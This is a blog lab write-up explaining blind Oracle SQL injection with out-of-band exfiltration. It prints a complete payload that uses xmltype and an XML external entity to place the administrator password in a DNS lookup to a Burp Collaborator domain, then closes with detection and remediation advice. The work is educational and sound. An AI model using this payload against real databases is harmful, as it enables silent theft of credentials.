Overview of the Lab

This lab demonstrates a blind SQL injection vulnerability in an Oracle database environment where the application does not return any visible output, errors, or timing differences that can be used for inference. Traditional techniques such as UNION-based, error-based, and time-based SQL injection are not applicable because the application is fully blind.

Instead, exploitation is achieved through out-of-band (OOB) data exfiltration using DNS resolution, combined with Oracle XML processing abuse, and validated using Burp Suite Collaborator. This makes the attack completely invisible at the application layer while still allowing full data extraction from the backend.

The key idea is that the database is manipulated into making an external DNS request to an attacker-controlled domain. That DNS request contains sensitive data encoded inside it, allowing exfiltration even when no response is returned to the user.

Understanding the Core Attack Concept

Out-of-band SQL injection works by forcing the database to interact with an external system controlled by the attacker. Instead of retrieving data through the HTTP response, the attacker encodes data into a network request (DNS in this case).

Oracle databases, under certain configurations, can process XML data structures that trigger external entity resolution. When combined with SQL injection, this allows the attacker to:

Execute arbitrary SQL queries internally
Extract sensitive database values
Inject those values into an external domain
Force the database to resolve that domain
Capture the request using Burp Collaborator

This creates a covert communication channel between the database and the attacker-controlled server.

Injection Context and SQL Escape Mechanism

The vulnerability exists in a parameter where user input is directly embedded into a SQL query inside a string context. The attacker begins by breaking out of the string using a single quote and then re-entering SQL execution using Oracle’s string concatenation operator:


' ||

In Oracle, || is used to concatenate strings or SQL expressions. This allows the attacker to inject logic into the query without breaking syntax.

Once inside SQL execution context, arbitrary subqueries can be executed as part of the injection chain.

Extracting Sensitive Data via Subquery Execution

The attacker uses a subquery to extract sensitive data from the database, specifically the administrator password:


SELECT password FROM users WHERE username='administrator'

Even though the application does not display query results, Oracle still evaluates this subquery internally. The extracted value is then passed into later stages of the payload.

At this point, the attack has already achieved internal data access, but not yet exfiltration.

XML External Entity (XXE-Style) Abuse in Oracle

The core of the attack relies on Oracle’s XML processing functionality. The attacker wraps the SQL logic inside:


xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://...">
%remote;
]>')

This structure defines an external entity (%remote) that instructs Oracle to fetch a resource from a remote server.

When Oracle processes this XML, it attempts to resolve the external entity. This results in a DNS lookup to the attacker-controlled domain before any HTTP request is made.

This is the critical transition point where SQL injection becomes network-based data exfiltration.

Embedding Data into the DNS Request

The extracted password is not simply retrieved — it is embedded directly into the DNS request.

This is achieved by injecting the subquery result into the domain name:


||(SELECT password FROM users WHERE username='administrator')||'.[burpcollabID].burpcollaborator.net

This means the final DNS request becomes something like:


administrator_password.burpcollabID.burpcollaborator.net

When Oracle resolves this domain, it sends a DNS request containing the sensitive data to Burp Collaborator.

This effectively transforms DNS into a covert data exfiltration channel.

Full Payload Execution Flow

The complete payload combines SQL injection, Oracle SQL execution logic, XML external entity processing, and DNS-based out-of-band exfiltration into a single chained expression. Although it appears as one compact payload, it actually executes in multiple distinct internal layers inside the database engine.

' || (

SELECT extractvalue(

xmltype('<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://||(SELECT password from users where username='administrator')||'.[burpcollabID].burpcollaborator.net/">

%remote;

]>'),

'/1'

)

FROM dual

) --

When executed, the internal flow is as follows:

SQL Injection Context Breakout and Expression Injection

The attack begins by breaking out of the original SQL string context using a single quote. This closes the intended string literal inside the backend query and allows the attacker to inject SQL logic.

Immediately after, the || operator is used, which in Oracle represents string concatenation. However, in injection scenarios, it also acts as a transition point from static string context into dynamic SQL expression evaluation.

At this stage, Oracle no longer treats the input as passive data. Instead, it begins parsing it as part of a valid SQL expression tree, allowing further nested execution.

Subquery Execution and Sensitive Data Retrieval

Inside the concatenation chain, a subquery is executed:


SELECT password from users where username='administrator'

This query is evaluated during SQL parsing before any XML processing occurs. Oracle resolves this subquery through its query execution engine, performing:

Parsing of the SQL statement
Optimization and query planning
Execution of the inner SELECT statement

The result is the extraction of the administrator password from the database.

Even though the application does not display this value, Oracle stores it internally as part of expression evaluation.

Dynamic Injection of Data into a Network-Exposed String

The output of the subquery (the password) is then concatenated into a string that becomes part of a URL inside the XML document.

This transforms sensitive database data into a structured domain format:


<password>.[burpcollabID].burpcollaborator.net

At this point, the data has been converted from a relational database value into a network-reachable identifier. This is the key transformation that enables exfiltration.

XML Parsing via XMLTYPE Function

The constructed XML document is passed into the XMLTYPE() function. This causes Oracle to switch from SQL execution mode into its XML parsing engine.

At this stage, Oracle:

Parses XML syntax
Validates document structure
Processes DOCTYPE declarations
Prepares external entity resolution

This introduces a second execution layer inside the database, separate from SQL processing.

External Entity Definition and Resolution Trigger

Inside the XML structure, an external entity is defined:


<!ENTITY % remote SYSTEM "http://...">
%remote;

This instructs the XML parser to fetch an external resource during parsing. When Oracle processes this directive, it attempts to resolve the external system reference.

This is the point where the attack transitions into out-of-band behavior, because external resolution requires network interaction.

DNS Resolution and Data Embedding Mechanism

The critical detail is that the external domain is dynamically constructed using the extracted password:


<password>.[burpcollabID].burpcollaborator.net

This means Oracle is forced to resolve a hostname that contains sensitive database output.

Before any HTTP request occurs, the system performs DNS resolution, resulting in:

A DNS query being generated
The full domain being transmitted externally
Sensitive data embedded in the subdomain structure

This converts DNS into a data exfiltration channel.

Burp Collaborator Interaction Capture

When the DNS request is sent, Burp Collaborator captures it in real time. The logged interaction contains:

The full domain requested
The extracted password embedded in the subdomain
Source IP of the database server
Timestamp of execution

This provides definitive proof that:

SQL injection was executed
XML parsing occurred successfully
External network communication was triggered
Sensitive data was exfiltrated

Even a single DNS callback confirms full exploitation.

extractvalue() as Execution Enabler

The entire XML payload is wrapped inside:


extractvalue(..., '/1')

This function forces Oracle to fully evaluate the XML document. Even though /1 is not meaningful in XPath terms, it ensures that:

XML parsing is fully executed
External entity resolution is triggered
The payload is not partially ignored or optimized away

This guarantees execution of the malicious XML structure.

Complete Internal Execution Chain

From Oracle’s internal perspective, the payload execution follows a layered process:

The SQL engine first parses the injection and resolves concatenation. The subquery is executed to retrieve sensitive credentials. The result is injected into an XML document structure. The XML engine then processes the document and evaluates the DOCTYPE declaration. External entity resolution is triggered, forcing DNS lookup. The constructed domain containing sensitive data is resolved. The DNS request is sent to Burp Collaborator. The interaction is logged externally.

Burp Collaborator as the Verification Channel

Burp Collaborator plays a critical role in validating the attack. It provides a unique, attacker-controlled domain that logs all DNS and HTTP interactions.

Once the payload executes, Collaborator records:

DNS request from the target system
Full domain containing extracted data
Timestamp of execution
Source IP of the database server

This confirms:

SQL injection exists
Oracle executed the injected payload
External network communication is possible
Sensitive data was successfully exfiltrated

Even a single DNS callback is sufficient to prove full compromise of the injection chain.

Why This Technique is So Effective

This attack is powerful because it bypasses all traditional blind SQL injection constraints. There is no reliance on:

Response content differences
Error messages
Timing delays
Boolean conditions

Instead, the database itself becomes an active participant in the attack by initiating external communication.

DNS is particularly effective for exfiltration because:

It is rarely blocked in enterprise networks
It generates observable external traffic
It works even when HTTP is restricted
It allows encoding of data in domain structure

Oracle-Specific Behavior

Oracle databases support advanced XML processing features that can be abused if external entity resolution is not disabled. Functions like XMLTYPE and EXTRACTVALUE force XML parsing, which may trigger external resource resolution.

In insecure configurations, this allows:

External entity resolution
DNS lookup execution
Data leakage through domain construction

This makes Oracle environments particularly sensitive to misconfigured XML processing combined with SQL injection.

Security Impact

This vulnerability is classified as critical severity because it enables:

Full SQL injection exploitation
Silent data exfiltration without application visibility
Bypass of WAF and response filtering
External communication from backend database systems

Even without direct output, attackers can fully extract sensitive credentials and database data.

Detection Challenges

Out-of-band SQL injection is difficult to detect because it does not appear in HTTP responses. However, it can be identified through:

Unexpected DNS queries from database servers
Structured or repetitive subdomain patterns
External domain resolution to unknown hosts
Anomalous XML processing behavior

Security tools such as ModSecurity may detect injection patterns like xmltype, extractvalue, or DOCTYPE, but they cannot fully prevent DNS-based exfiltration if outbound network access is allowed.

Root Cause and Remediation

The root cause of this vulnerability is insecure SQL query construction combined with unsafe XML processing and unrestricted network access from the database layer.

To mitigate this issue:

Use parameterized queries (prepared statements) to eliminate SQL injection
Disable XML external entity resolution in the database
Restrict outbound DNS and HTTP traffic from database servers
Apply strict least-privilege database permissions
Monitor and log DNS activity from backend systems

Additional hardening should include network segmentation and egress filtering to prevent any external communication from database infrastructure.

Search This Blog

The Purple Team Journey: My Cybersecurity Chronicles.

Blind SQL Injection with Out-of-Band Data Exfiltration (Oracle XML + Burp Collaborator)